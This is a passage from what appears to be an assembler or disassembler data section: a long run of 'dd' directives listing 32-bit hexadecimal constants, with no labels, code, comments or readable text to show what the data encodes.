0E55C520Ah, 8006FD22h dd 0ADC4B47Ch, 8F82000Fh, 74C2CA6Ah, 2F1937ECh, 0B2E05A9Dh dd 0B758003Ah, 4EA8BB5h, 31323F00h, 216E45E6h, 419700F5h dd 0F39D4C6Ah, 0D12FCA0h, 3C09D1FFh, 72241235h, 1EDA00B4h dd 0DF0B48BBh, 9000BCBEh, 0FCF82677h, 4C7C69C7h, 0F92128CCh dd 90C0188h, 407A535Fh, 6ECF3A0Eh, 47F84115h, 0DADCFFEAh dd 6AECE0h, 7D518B1Eh, 727A8FE9h, 0AABDE10Bh, 0F887A40h dd 31ED4C30h, 0C1B29BC0h, 0A02E524Eh, 0E3845089h, 0BE08FC2Dh dd 0DB700C80h, 742EABCh, 32AF82D4h, 74C8018h, 3300F839h dd 1A7C61B9h, 69C2C6h, 0D4E1EA72h, 605C458Ch, 6D8EC409h dd 90C10BEBh, 0E73E10h, 0B08BA2D4h, 732DAAFh, 0A1D10402h dd 0D90579C4h, 0B32512A8h, 0B02717FCh, 80B2A048h, 508E8C3Bh dd 70B4ABC7h, 79CC3240h, 0F224A811h, 1CF9820Ah, 14FF2A1Dh dd 10F49C92h, 8216E662h, 0E01028A9h, 0E443C009h, 0C8F13Fh dd 3EE36988h, 88A0951Dh, 560790A9h, 45AF2A91h, 64889424h dd 9F6E001Eh, 58C6C4DDh, 0E30BD208h, 440231C3h, 31F74F4Ch dd 1EC4AE0h, 382F173Eh, 8D44AE88h, 4B425BEFh, 588484B4h dd 83FC806Bh, 941E7445h, 89C0D4A6h, 1F51F3BAh, 74A097DCh dd 853903D9h, 2C48A45Ch, 440910E7h, 4C44D09Bh, 5180EC94h dd 26B8AFF0h, 5A01D57Ah, 15973CD7h, 83E23DD3h, 4A65F44h dd 98993BD9h, 8ECB04B1h, 273A121Eh, 0F41CC4F4h, 6C018B98h dd 0C7ADD2FEh, 92035BBh, 37B8014Dh, 8AE4F380h, 4058A56Dh dd 20E84218h, 1A20F8AFh, 0C8B75F0Bh, 0CE00B174h, 0CFC6D954h dd 0B0ED8E18h, 0C9BD285Ch, 3FC50AB4h, 4080FEAEh, 0B05D0D46h dd 908D0925h, 3FC7922Ch, 2700D775h, 13215A8Bh, 930919E8h dd 0C6820191h, 18620384h, 0A2F6D54Bh, 25BF9200h, 6BB4B66Ah dd 4AC40765h, 0D0A1CE02h, 80DDBAC1h, 0BB449095h, 10D7C3Ch dd 0AF24928Ch, 81544DA5h, 31C498F9h, 1024CFAEh, 95017C2Dh dd 0A800A86Ch, 0E92CDA68h, 4454D0h, 2D49D779h, 0ADE4527Bh dd 0E022F75Ah, 581911D9h, 9C54FBD8h, 349145F8h, 0D0724000h dd 15921BAh, 3AFF9C2Bh, 0F2B03D3Ch, 0E189CC7Ch, 54109041h dd 4AFF0BA7h, 0CC00F570h, 5AE2962Dh, 49459201h, 0BE252846h dd 4E2C81A8h, 0DF8C2115h, 0AE30DCFEh, 500F8802h, 7139995Bh dd 32898330h, 45E7AFF2h dd 236CD050h, 50D29B27h, 0E70024F3h, 72FB6233h, 15F66C4Ah dd 4D17E01h, 8DED79C5h, 0B486408h, 0EA4CC180h, 0AC4C7587h dd 13ED09A4h, 0C85EC57Dh, 38A48052h, 16216F7Bh, 0D0F50B67h dd 0EEB94A28h, 0FE287200h, 0A87A46FDh, 0C6910039h, 0AFE58C0Ah dd 0FB12D993h, 0B02594F4h, 0FC009CADh, 1DF8C7BBh, 0ECF0F064h dd 0FD13B300h, 0B75DF945h, 0D53B0261h, 0CE2FE06Ch, 1020F4E6h dd 0D31E0182h, 0AB72C3ADh, 98A020E8h, 2275544h, 0ED8C1AA3h dd 0B440570Eh, 0AC90F78Dh, 289EB880h, 0E5B34D09h, 25FCD0F6h dd 28655362h, 0E7A4253Eh, 322500B0h, 8DD41B75h, 398880BBh dd 464258FAh, 0C0F84D6Fh, 5FE21BA8h, 9541E6E3h, 42014CAEh dd 0F45D51CFh, 0A800B83Eh, 0DB5C0167h, 22A2DCEh, 657BBA7Fh dd 5C5A3A0Fh, 0C2E22F00h, 0BE7EB53Ch, 0AC90B56Dh, 8B888E20h dd 97CA25CFh, 0D2025C64h, 4E6E31C8h, 2C5070D7h, 40381951h dd 0F656245Fh, 2E2C1097h, 2AF903BBh, 0DA36AC80h, 1FB476E8h dd 9B8A5100h, 0DB78A59Ch, 2240C02Bh, 97E2A6B3h, 88C8304Fh dd 906F2726h, 0A686A421h, 6C8A10E8h, 0FBA90034h, 21E3B9ECh dd 0B12E7642h, 6A81E498h, 41DBA54Dh, 724417Fh, 0C87CEEF4h dd 2600B430h, 0F8AA9C46h, 0CBF93Ch, 776D86AEh, 0FBB20D8Ah dd 1155F8C9h, 286B1BA0h, 0B93C99BCh, 52C89FE6h, 4F8CB080h dd 900EFED7h, 0CAE85FD0h, 8721ACh, 0CD9E89C9h, 45EC5FA5h dd 8D4C5801h, 80EBA76Bh, 0DE4FB0E0h, 0CE768C11h, 325C2329h dd 2C428AC4h, 0B6DCFF00h, 0E301CFh, 6E62D174h, 7FE021CCh dd 60051B09h, 10D96Bh, 0C0935239h, 7209BE74h, 66CDA29h dd 2CE06287h, 53981Ch, 0A75A95Ch, 0CD0029FDh, 0C763A86h dd 60B25F47h, 0EDF71936h, 8F161227h, 830780Fh, 0E4F561h dd 0EECA7079h, 71E5D6B6h, 91A20100h, 31C55E2Fh, 81065A05h dd 142D8DACh, 20074A2h, 38A9131Fh, 87004807h, 1BA5B1AFh dd 5BDC6B7h, 0C51FCADCh, 0A0CC1483h, 5595E781h, 0D302D2FBh dd 3B822FE9h, 0F8D04533h, 946B3E2Fh, 1DB316C8h, 3D55018Ah dd 0D579D9A0h, 8756202Bh, 3C182A0Eh, 74D5A91Ah, 0D8B60D4h dd 6DE81BE9h, 9C5820BAh, 92FE80ACh, 4C0489ECh, 3B00F4F8h dd 73EFAA87h, 7A07A0D6h, 1F82BB05h, 0D34C1BF0h, 0D828006Eh dd 91F4643Dh, 4201CB92h, 36FDE533h, 0DE20ED21h, 79460027h dd 0FF4B4C19h, 0C9379D18h, 4E834004h, 0F018DE82h, 9BC300ABh dd 6234459h, 0C90004BBh, 0E87CB826h, 6AB97FDh, 83413E79h dd 4C033044h, 6BA62791h, 0EA39C8B6h, 0C9BC0014h, 0BD81E81h dd 7B307A8Ch, 90A86161h, 7738C74Ah, 8AB520BBh, 0A901ADE3h dd 0A10908D3h, 20834C24h, 0F8479ACh, 2156B11Bh, 779DF819h dd 0AEC900A3h, 0D86E8DD7h, 0A51852D0h, 34D14D13h, 6A9100DCh dd 6F63E25Eh, 6407A77Ch, 4C5BD2BEh, 20F6F08Ch, 3F07FE4Ah dd 0E91C4D7Fh, 0A249D632h, 99C74084h, 0BC70F8B8h, 9B6406DBh dd 9901607Ch, 0CE788174h, 10F873Ah, 846E941Fh, 90915F6Ch dd 0F338004Bh, 8892569Ch, 62400068h, 0B40BBD7Fh, 705F790h dd 0ABA67E57h, 7D82B006h, 60BFA0E9h, 642301D8h, 0EC1D2690h dd 158916Bh, 0AE8E8500h, 373440CBh, 0E735C00h, 0BC7FD23h dd 0DF7C0F9Ch, 517982BCh, 86B8E3A7h, 42E4A4FBh, 695405B0h dd 7C0049CCh, 62DF16DAh, 584FBD66h, 730192E7h, 238CFAAEh dd 585FE4ABh, 5BCF31C0h, 0CCD03Bh, 645C0552h, 0F122CD5Ah dd 34E66300h, 780AAFE1h, 7A820CC7h, 0BB39AE84h, 6867D500h dd 3BFDAAA8h, 7B3C0007h, 0FE9D1B05h, 0D8D81A94h, 3B448CB8h dd 0EB8086D1h, 0FDA9B9D7h, 2300052Ah, 45491B78h, 141A395Bh dd 0C85FDFE4h, 6F8EDC80h, 840131A7h, 22571396h, 8044F6DDh dd 3C1031C3h, 76011229h, 5AF54FF3h, 53CBF89Dh, 0A9576030h dd 3E44487Bh, 0CF7A402h, 6CC4F815h, 0E9092D2Ch, 2028AEA0h dd 44C08514h, 1AB80E67h, 86E0EA81h, 0B0784DE3h, 8A6B2107h dd 0D352CF68h, 23D8410Eh, 521324C0h, 9F3DCC83h, 549ECF00h dd 3940F167h, 28DF7101h, 0E361AF1Ah, 1F31FD8h, 0F2F8ACA5h dd 244A10FAh, 0B8F2A900h, 0DC02BA07h, 0A400A103h, 0A5AC62h dd 0ECC36DAAh, 91EDE1EBh, 0CF90663h, 6B4087BEh, 1EC6342h dd 4E565249h, 2212AC1Ah, 0F981002Ch, 0D6CDEFF3h, 0D1D0053h dd 0DCE7AAC6h, 420CAFB9h, 502A0560h, 0B5FEF3h, 7D336C5Ah dd 4C681C30h, 0F67ACC02h, 40014EDEh, 124176E4h, 789F1F9h dd 358A49B8h, 94A04139h, 0CB1F6D60h, 6858F6A8h, 0B52E8912h dd 0D8498600h, 6E21E3Ch, 18EF9D5Ch, 6031A01Ch, 0DFE8D102h dd 26A70BC4h, 93880A82h, 0AF042014h, 10009D4Ah, 96D546Ch dd 9997B07h, 1903AC15h, 56049418h, 0EB001042h, 57DB8BE4h dd 8119C0F7h, 1118FCA0h, 87452C40h, 83600063h, 962F07D0h dd 0BF14BAFBh, 1088FF3Fh, 3720629Ah, 57DF4306h, 6148CAh dd 912386F2h, 0A18C4D8Ah, 8718889Ah, 0DF61E910h, 0EC430649h dd 0E85C33DEh, 988F883Bh, 20F9056Fh, 7C93E2h, 9C7C5475h dd 7A098822h, 0A148A10Fh, 4C69D98h, 0D08B2C40h, 0C1A890EAh dd 35DDE7A8h, 40A1F17Dh, 0D29BBF44h, 29803900h, 88486531h dd 68071CD7h, 71617D7Ah, 48741756h, 0E92C4D98h, 449204Ah dd 0F84206DCh, 48668D0Fh, 44CB5711h, 99471318h, 5A2C90C9h dd 6A01D5F9h, 27A1DCE6h, 12B85180h, 4677D428h, 0DD13AA00h dd 62480479h, 22F54CF0h, 4F18F100h, 6A4D0FABh, 340EE090h dd 13F91E90h, 8E049848h, 0FA411F2Dh, 809DAB3Dh, 18F822F1h dd 0F938DA1h, 92822E3Eh, 1E73040h, 1C1D3281h, 78AC4F72h dd 0F7D91060h, 3C3B0022h, 75F96505h, 0C060D487h, 96F3B5A4h dd 0FCA0056h, 9455C674h, 0AA18101Fh, 77117387h, 29B463AEh dd 59017C82h, 0FD9598BBh, 87C607B7h, 79D10FF8h, 0C1804F10h dd 936AD162h, 0DC380D40h, 5BFA8004h, 8F782F4h, 797430h dd 0BC0545B0h, 3B098541h, 4911C260h, 26F4B275h, 60744F87h dd 8BAF76ABh, 24009776h, 654EAAECh, 17185FB7h, 4504F311h dd 4B909410h, 50108398h, 0DD0042C2h, 0EA78A880h, 0B069146Dh dd 8545187Ch, 81BB6166h, 560054B9h, 3F51620h, 5A5324A6h dd 13F21DE2h, 0A804FA97h, 5DC104E0h, 5472C779h, 4A92C000h dd 0F0F5F28Ah, 838DFB00h, 1867EAC6h, 0BB0200B0h, 2627C73Eh dd 2324F031h, 5307340Dh, 797C256Bh, 0B9D614EBh, 3680E082h dd 0A16FE3DEh, 89154E03h, 93C9EDF5h, 21B9E061h, 6E2718FDh dd 268F489Bh, 24DD49h, 0AB1966EAh, 0C072B592h, 36BD80E0h dd 26022EEBh, 256F45Ch, 2F94A298h, 0B1FE277Fh, 8FF11F67h dd 37CB9C08h, 2985BC21h, 0F4E7AC11h, 8E26ADEAh, 0ED019C54h dd 31C7E3Ch, 880011E9h, 796081BAh, 50F1959h, 3E0A00A8h dd 4B8FB723h, 1A00C011h, 0E5ABC2ECh, 0B09FCE6h, 397E83C7h dd 8BBB405h, 214063B0h, 1FC0BD4h, 0A260CB25h, 3EDAF5E0h dd 286935A0h, 9684678h, 8EFB1119h, 81DA4C01h, 212FD097h dd 0B0E7062Ch, 24082300h, 0A4FD0FFFh, 213008C4h, 393D3DE3h dd 0BCA1A470h, 9A280D40h, 89E003Ch, 0E6A72597h, 9328AE16h dd 322084F7h, 0C89D1380h, 47602005h, 0C7140748h, 8888AA5Fh dd 58728045h, 0BD4777BBh, 0FBC8B200h, 5142D344h, 8FA13010h dd 639DC579h, 8C7B007h, 952711B5h, 0FD0A0CF3h, 242830D0h dd 0EFD80088h, 89AC1D90h dd 687D6BB9h, 0A5023FF4h, 0D02CC882h, 5AA460DCh, 674A04F2h dd 0A202BECAh, 71A330A8h, 95C7ACh, 2011D936h, 0AFF82FC0h dd 889B5626h, 2922A99Dh, 13CC7A46h, 79AA008Dh, 4824B75Ah dd 7B200161h, 0BB004AE8h, 8E0BB0C9h, 0BE93738h, 614C0058h dd 4CCFBE82h, 78225846h, 0A7E6DB00h, 0C89EF529h, 395D0F82h dd 0EE39097h, 0D880C763h, 29008122h, 0B9CB2F7Ah, 17AB4406h dd 40E28525h, 93D0BBD0h, 0E703D84Dh, 12389C6h, 0F181C18Ch dd 0F256022h, 40897820h, 0C000795Eh, 0C2FBB284h, 4FE743h dd 13BB873Dh, 2276B5E1h, 0DD7D46F2h, 0D010B8DEh, 847E870Ah dd 9851283Ch, 4664AD4h, 4B58BCh, 0D6CFF2DBh, 53E005Dh dd 0FA32367Fh, 0E20079EAh, 91825093h, 0A8AB601Eh, 0A8A5A898h dd 56AC8h, 0B9B211A6h, 0C8898108h, 8F583858h, 116F29A0h dd 0F1452DCh, 88F23FF0h, 6CB81440h, 839C3E0Ch, 12253170h dd 0C1EA4h, 2DAB7B9Bh, 0B1C05560h, 0A9AAEEDDh, 0B41D006Fh dd 0F796955Dh, 1B00C175h, 0E66D26ADh, 2B9F448h, 3107E7ABh dd 14604B4Eh, 0F0CB32Ah, 69492457h, 6A155840h, 9C4C700h dd 9835E24Bh, 8065CA00h, 7FBB6137h, 0C9201DA7h, 25F9402Ch dd 84CB2A0Ch, 70724E00h, 0B9977901h, 33A77CCh, 6BF7BCCAh dd 0B814C4Bh, 0D7FFCADh, 4BB88A8h, 878B9702h, 0A0F6CA9Ch dd 0F4F1D8F0h, 7FFF3C95h, 9F372D0Fh, 6ECD40FFh, 99C6315Fh dd 13FCE500h, 26CFACA3h, 71833127h, 0C0EC07C1h, 5400E98Ah dd 0FC373C9Fh, 4DA5268Dh, 7700B41Fh, 4471C5A8h, 0F5CAA58h dd 0B62481BCh, 5330485Ch, 9431039Bh, 1490DF53h, 0B7F01E09h dd 603C8202h, 58BCA06Ch, 38F436h, 0F931E390h, 7609453Eh dd 0B715071Dh, 12C68289h, 9148E8B0h, 871899B6h, 0C37D7B96h dd 4EC8E65Fh, 942C6B29h, 0CC265FD6h, 37A74382h, 2CD4E64Bh dd 0E3C2B33h, 0E583F477h, 10AA53A1h, 650078E4h, 756D4583h dd 26FBA36Bh, 60ECB9DDh, 0D1A4C614h, 175B482Eh, 9F5D000h dd 0EE37E618h, 91440123h, 1A9BB619h, 0C270716Ch, 3E2AE02Fh dd 19BB4F43h, 28888561h, 0A5F040CFh, 0B4918056h, 92CAAC83h dd 5A12A22Dh, 68951C28h, 761A430Eh, 2890D3Bh, 27B67069h dd 9C02BEFCh, 4DE114DFh, 118798Ch, 1A827FE7h, 9DA44029h dd 51C3F1F7h, 18368C4Eh, 0E17B8329h, 0E800A4C2h, 0D5959947h dd 1D93302h, 0FFBE72D0h, 20C719E1h, 0F006E8B8h, 7ED88659h dd 39CA0939h, 0D0802506h, 744A941Fh, 7AE9D602h, 46265605h dd 31FE1F90h, 904F1814h, 0DF8904CBh, 1D8D9CC0h, 5CAC2339h dd 0E36C2461h, 0F8927824h, 0B49068C4h, 0C4376C02h, 0E8607DF6h dd 6EFF88h, 3C27ABF4h, 7D796E5h, 24DBD625h, 0C05F4C38h dd 0C1F5D335h, 9F008850h, 42B8D7C7h, 1425EA5Bh, 0CC608D75h dd 0DB1C300Fh, 1122D640h, 460B4D89h, 2D7E88Ch, 48ED5DF2h dd 199E48Ch, 9C13F388h, 28D79F77h, 7F558394h, 906CB809h dd 0CE053EA8h, 0F5227D00h, 0A168C145h, 0F093C004h, 0A8C8950Fh dd 58FE7837h, 6085488Dh, 9EEC5E6Ah, 5FB200A6h, 6D81610Fh dd 521DE400h, 4E4F8864h, 0C2949EE9h, 98089C56h, 0B7366400h dd 2E4F3272h, 607028E9h, 3B92EDD7h, 4CA9E03Ch, 951300ADh dd 62B34C63h, 7DC57855h, 1AAE0481h, 0C0370A31h, 0D6674D6Ch dd 0F8070A90h, 0C4F12093h, 0B080F304h, 4BE940Ch, 7B825230h dd 61D100FFh, 0FECC4Eh, 0D5EE44B5h, 5E1F7337h, 436A4D0Fh dd 975A04ECh, 0AE9EDC80h, 0DF5F804Ah, 71F49100h, 7419B6D5h dd 0F1D603F6h, 0C5C6B18Bh, 8CF93804h, 74802A76h, 1E624093h dd 2E2919EAh, 8A4EE254h, 9403885Ah, 195A1638h, 0E063DB20h dd 722CFh, 0A0F6F9AEh, 95529A43h, 0CD45EA0Bh, 9E944953h dd 0E32C9110h, 0C103CCF0h, 0D9C043DBh, 579AB8BAh, 548D4C4Eh dd 0A2C59D85h, 1D9421E8h, 4070A4E7h, 0C73F7780h, 5641A094h dd 407272CBh, 0BB03447Dh, 0ECEFA929h, 0B01D29BAh, 14D01413h dd 87988Ah, 0A75F60F5h, 8295D975h, 0BC0F2E4Ah, 52BF2035h dd 6E3A16h, 0C7CC6D0Ch, 3E4858F5h, 1975500h, 0FE4418B1h dd 0C4267E6Bh, 0E27F46A9h, 14A90120h, 749F3A5Dh, 9C132830h dd 0F7CB886Ch, 6F003497h, 9173F28Ah, 0B5700026h, 68024213h dd 7F04EA93h, 847AF40Fh, 3556E088h, 7D147A9h, 0C8512504h dd 3BDF2F05h, 7E204000h, 0A4834DF4h, 30A2A2E8h, 8479248Ch dd 11CE320h, 0B48617F3h, 70AF3912h, 4E0EEF4Eh, 2268612Eh dd 44ADFE4Ah, 3F5100DCh, 0A0E55FF1h, 700CAABh, 0D2184D70h dd 75B659Fh, 0AFD6946h, 0F8F9108Bh, 9375EF97h, 4E24D890h dd 0E449148Eh, 8F670328h, 74BC9B78h, 3BFDA798h, 0A8B8CF72h dd 0FE9D2004h, 148808D2h, 8BAC8831h, 9AAE7218h, 0F23DE851h dd 21F2C3h, 0E5A53127h, 0F5C456F7h, 7E794400h, 3EC281E8h dd 78F03990h, 7B0AD19Ch, 86B41A80h, 70B07DFAh, 81F1090Fh dd 21F00048h, 0C4156Fh, 55B8510Ah, 666EB4Eh, 8B839938h dd 0F534222Fh, 386F6386h, 791B8400h, 2CECAAA1h, 0CD860328h dd 6D8E76B1h, 0A20A2002h, 61B399CEh, 186AB60Eh, 0F76A11D6h dd 21491561h, 8B08166h, 127BB510h, 80724C00h, 0A16AE70Fh dd 22E2C08Dh, 78796C3Dh, 0CF00E0FEh, 887E9214h, 751FD6Ah dd 520448E2h, 0BA1E81D1h, 62E5F46Bh, 5AE30905h, 0DB0170F8h dd 0ED89A748h, 40F4C0E5h, 0FC630E0h, 623821B1h, 88230E30h dd 60ED90D1h, 0A74E9903h, 0D20CDFF5h, 316E12C6h, 0D0D70ECFh dd 2918E590h, 0D800F769h, 0A69F89B0h, 1DA907CDh, 2808AF5Ah dd 290163C5h, 697873FAh, 0AEC72508h, 0D47000EFh, 79617B2Dh dd 5112FA0Ah, 7F838CC5h, 0F092A115h, 0EAE9CF8Eh, 0F2100AD3h dd 30AC69ADh, 9D04EC40h, 27E3810Fh, 54F4F8h, 0CD236E2h dd 3FD47489h, 0F78E6F91h, 0FC74EE0Dh, 817A6619h, 480CF509h dd 77004B88h, 0ACE68DA4h, 7AE49Bh, 7857D219h, 0A5BF7FC7h dd 8488F803h, 0D875774Ch, 0C4FEF281h, 40928550h, 0C3E90EB5h dd 3038785Bh, 6D19FE50h, 4719573h, 699A2214h, 2E71090h dd 917D8Fh, 3FC9F06Ah, 50B3E191h, 0C28A10EFh, 0F6E890A9h dd 0D1696048h, 4767B18h, 37FF849h, 72255414h, 0D918634Eh dd 5F31FB4Ch, 50891891h, 0A52CD237h, 4A165E00h, 6620AE7Eh dd 9E4C9182h, 38F898F2h, 41C0F94Ch, 0EF6D1A61h, 1DC800ADh dd 5F271CEAh, 2F003F34h, 72E243C4h, 0E8FB201Ah, 0CCD1D455h dd 19BE7703h, 61B65086h, 74D928C0h, 75E2B18h, 0A9CC450Fh dd 3AC6E0C8h, 6A0C813Bh, 31C38567h, 8090545Ah, 2FD7070Bh dd 0B05B95E5h, 99730FE9h, 0B12DBB01h, 807661A7h, 1551C8F7h dd 5DBD00FEh, 35B90B81h, 0C760509Dh, 314E1951h, 0C90C0024h dd 1F9F8748h, 0CF027DA8h, 0D10D8627h, 752844F2h, 360F1CEDh dd 0EB5C86FEh, 0C0011961h, 0D1145951h, 64D0D0BBh, 0C0E7825h dd 8DBD8941h, 0A1010CB1h, 4367005h, 830A86Eh, 13B4A478h dd 329BF2AAh, 0D120FC0Ch, 7AD8AB14h, 526779CFh, 892284F0h dd 2700D17Dh, 7CCD71Dh, 0C064F2D2h, 5EDF8449h, 2607C115h dd 9C53F3DDh, 0B0CDC460h, 4C1D00C6h, 45DA769h, 149170B2h dd 0F9846685h, 1740401Ch, 4AF870E4h, 0B8D26210h, 0E32FFD82h dd 0A16B1D25h, 7630B7A1h, 0C1E22491h, 0DE698F58h, 0CB2CAA41h dd 62BD8D9h, 85CD6112h, 89C19C28h, 541301AEh, 48004106h dd 37836A90h, 27CB528h dd 817945E8h, 1C607E64h, 48A044EDh, 685007F8h, 0F2428364h dd 0E36A1Eh, 3604341h, 80990EF8h, 0CF76B480h, 0EECD770h dd 0A0024E4Ah, 1051F400h, 6D012198h, 8DDCE971h, 18802301h dd 0B9BBC707h, 170719F0h, 0A72EA911h, 88D0D3D3h, 6406C6A6h dd 0C0126170h, 0A7D42022h, 80146858h, 6BCB786h, 4205072Ah dd 10B99FE6h, 0FE45829Eh, 3400F4A4h, 0CCF655E3h, 0C947FDh dd 9DC12F2Ah, 145AEADh, 1AC6F80h, 0B7C85E98h, 8074F3AAh dd 0A6F0E4A8h, 203991h, 0BCBA34Bh, 3F0C3EB6h, 5126BA01h dd 80A9F10Ah, 7231E0h, 578A8BE3h, 0B3BAE5A1h, 0E2D08200h dd 39ADE970h, 0B9936159h, 0E018E4B4h, 867C9897h, 0B7F90703h dd 0E00F794Bh, 483565F3h, 1009C6Dh, 0CF20A7FFh, 67004F77h dd 7A2FC9E2h, 278D916h, 0C0FA5DDFh, 0C4C44687h, 7ECBFE00h dd 7F435C57h, 99230049h, 0F1B2D3D1h, 8906C69h, 2BDAE200h dd 0B5D4EA7Bh, 0F4ED1278h, 74002045h, 824863F5h, 712C0E0Ch dd 0D7D087CCh, 8EF2111h, 2E34430h, 7073D231h, 0D121C650h dd 2EE474EAh, 4CA90097h, 3177B278h, 0C4EC20F5h, 20E258h dd 71B6A80Dh, 787C11Ah, 46A677CDh, 6915A0ADh, 503E48EDh dd 787D30E6h, 155E7112h, 0D405A2A3h, 20BE7813h, 25F40808h dd 4583150Ah, 0BC8080FCh, 0A4811816h, 807E4Dh, 0D5507210h dd 7A917563h, 89490663h, 3D68D659h, 0FA802345h, 4D1822FEh dd 6BF62A61h, 0BDEF7100h, 0EE3BE2E7h, 601B0243h, 1A0E19A8h dd 31160CC1h, 0E8F6F548h, 990C712Eh, 89E7457Eh, 0C0270002h dd 0B18DE0DCh, 484A932Ch, 0AD003FA8h, 0FCA6D5FEh, 4B521F3Fh dd 8F2050BCh, 9A73E00Eh, 0EB0C1E6Dh, 3917118Eh, 0A8FC7A55h dd 6162369Ch, 5A0C5269h, 8B88503Ch, 370078FAh, 0CCB4CDE2h dd 38CF27h, 2BBB9EC4h, 5068A448h, 2609A1C0h, 1F915269h dd 9985C81h, 0B8072B7Ah, 0E84593AEh, 6A5F2900h, 52C04E95h dd 0CE30FF26h, 68A2010Fh, 0AC15B398h, 7BE2F055h, 0C30F126h dd 4008026h, 7912A8E1h, 391C2EA7h, 6080AC70h, 0AD22EE2h dd 0BBBF800h, 7DF9BCCFh, 58F892B8h, 28007419h, 0F81AB98Fh dd 85DE506h, 52603C9Ch, 0E4C00098h, 7BB97183h, 0F3EC00F5h dd 6025E263h, 0F72C6AAFh, 0C14030A1h, 174DBA77h, 2058D7DFh dd 32E1CC00h, 3C1F7C00h, 0A669C1B5h, 88C9821Bh, 0E344600Ah dd 1ABE950Ah, 807B617h, 6A709AC5h, 1ACE3D60h, 518876B1h dd 2E1FDE40h, 0F7B9BD0Fh, 0AEA203B6h, 69100E2Ch, 0B01EF2D0h dd 2E4D3D60h, 9F713500h, 5D166FEAh, 0F6AC3B88h, 8FB4B626h dd 21709229h, 3371606h, 596F214h, 0B478112Eh, 261CB1B0h dd 0F4811055h, 2DA20719h, 52035F08h, 20C601h, 0FD7621C9h dd 0F1737E0Ah, 0FCE0F001h, 0D0848AF8h, 8FC443h, 41ED6771h dd 4FCF5498h, 8300C0B9h, 8A66E0DAh, 0D7CD1681h, 4AAC05D0h dd 1C5480BFh, 0B97C33B7h, 0CF52E005h, 903072F9h, 702AA47h dd 766A196Fh, 0DA90C3C2h, 87714FE0h, 50BB2332h, 0E066B5h dd 683CE9C8h, 9D781680h, 0C3E16301h, 90EFCD7Fh, 5410A5D9h dd 74B82EF5h, 8C209524h, 0E45BC4BAh, 24BF02E9h, 1170429Fh dd 2FF44160h, 23F230C9h, 8565AA08h, 623FB8C1h, 59A07F10h dd 0E4499260h, 0BB4787h, 0C1B92DAFh, 0E2FB661Bh, 923F3E03h dd 0D80C8368h, 7D307C6h, 7FF9C209h, 41A08080h, 9D001902h dd 7E10B8C4h, 0E60AF6FCh, 158A3BD8h, 6AF9DF87h, 0AFDE607Dh dd 0B007B45h, 0BE7F0ABAh, 594AA3h, 8F9C168h, 2BB69DBh dd 3B335703h, 3C0B07F7h, 26008940h, 0C427CE40h, 0C1014879h dd 98817F74h, 0EDF419F9h, 0E47E00EEh, 0D9500884h, 0D10F9B0Dh dd 23FB4785h, 3F3FCh, 0E6450A88h, 0FBAA1F2h, 0FB1BAF00h dd 1194E47Fh, 0DDA0104h, 8C77D19Dh, 0F3308CFEh, 0FC3948h dd 674BF24Ah, 39622D3Eh, 99BD1207h, 4347DFB3h, 870C59D2h dd 9043088Ch, 9C393A55h, 4CF4388Ch, 0D5039411h, 0F85FBD3h dd 8F7EA8CBh, 0C5070701h, 30CD8905h, 3BF2D974h, 2530DC63h dd 578100F4h, 0A70331E6h, 0A600E945h, 0EC71694Eh, 19CE779h dd 0A260BBA5h, 5003514Ah, 0FB970A9Ch, 0B0F179C0h, 1E93B63Bh dd 8C0565h, 0FFE4D235h, 0A130EFDEh, 3DFC7124h, 68410040h dd 0BD460E9Dh, 183B20ABh, 970C8635h, 3028E4EFh, 0DF31564Bh dd 0B7285DF1h, 4F02E431h, 2D7375Eh, 250140D4h, 48AF00E9h dd 13581F5Fh, 8CFCFDBDh, 0ACCCED50h, 4FDFB70Ah, 3200D8A6h dd 0AD287D23h, 0C19F058Ch, 20B459D8h, 0A338DEC0h, 7D469B00h dd 0E3CC10CBh, 187FE894h, 50FA5C61h, 5D5349F7h, 942180h dd 12415AF8h, 0F7606C80h, 0B78E0750h, 9D93897h, 0F21C4BAAh dd 307D0067h, 0AE9D3D4Ch, 60091E7Fh, 2217465Fh, 9001F368h dd 1F7AE8h, 0A7D7430Bh, 80DBE68Ch, 5760060Fh, 0A1F1E554h dd 0CAAF9000h, 17BAC8h, 0F9A43ED0h, 7C25F524h, 93111D01h dd 1E61A512h, 1B906180h, 94515DC0h, 65E44E7Dh, 9D0014B8h dd 0F07BC477h, 52BECFEh, 0C07F978h, 5EF4308Dh, 9801EE39h dd 0F534232Eh, 8503DAAh, 9161A225h, 45AB00CCh, 1C06A8AAh dd 0DAEEE902h, 0A0FA78C1h, 601F20ECh, 370E0055h, 6AF71C7Fh dd 9C4847A2h, 0EB5F00F8h, 0DC5FEE8h, 0AE0B0C34h, 0C11E930h dd 18A6133Dh, 25994795h, 0D8E4ABD7h, 4320E5Eh, 0E80744B2h dd 0FA7783CEh, 2F30818h, 0E46AB31h, 23B5BB9Bh, 3BEDB4C0h dd 4C508A0Bh, 0EA88D228h, 0BF3D0077h, 70657686h, 6F00D766h dd 0B8C6E01Dh, 5C0922h, 39E4E9CBh, 0F35F02EAh, 81840A00h dd 0BC5695FBh, 0FED60076h, 0CF8FF207h, 1B0203A3h, 87800A02h dd 9C10486Fh, 695D0456h, 807C2D7Dh, 123A5B0Ch, 986B812Ah dd 1B627F15h, 0E5BA00ACh, 7CCB0538h, 0CF390090h, 5686B84Eh dd 6300D31Ch, 879DB669h, 0F81A9CA2h, 0F05D04E7h, 88254A03h dd 0EAB8B2C4h, 43EFBA00h, 0E4D12B68h, 2EA4392Fh, 260E7875h dd 36E198Ch, 0F42A5508h, 8086AEA1h, 366947AEh, 626D03h dd 43C6CD07h, 295F788Bh, 0E009B628h, 0A8580F73h, 0A98E0C97h dd 3CC84056h, 0C780E411h, 0CAC6B3D7h, 93017F77h, 1301DD33h dd 7087DEBFh, 40EC56AEh, 24DB787Eh, 99F410C0h, 0C0D1B192h dd 2C83F114h, 0D6FEBD60h, 14279C1Dh, 52C3E8DDh, 68F670h dd 182C3570h, 0C355CC69h, 15BE670Fh, 496F20E5h, 186D9352h dd 61627727h, 59603719h, 93804BE9h, 42D0040h, 737CCE13h dd 0A8E41F01h, 0DB06CDF0h, 0C82919B4h, 0B54F0431h, 73B4893h dd 946FFF2h, 0ECAA0058h, 5DDC8F7Ah, 0D417FA32h, 280043D9h dd 0DB7EC102h, 0F14205ABh, 59B49604h, 0F8AA7094h, 0A53A65CDh dd 0A6550002h, 0F6267FD3h, 54285419h, 11A0A67Eh, 2FCFECEh dd 2423FDB1h, 0D771C0C6h, 0F70D03DDh, 0BEE0179Dh, 0E7B421BDh dd 0DA99D366h, 13C8101Dh, 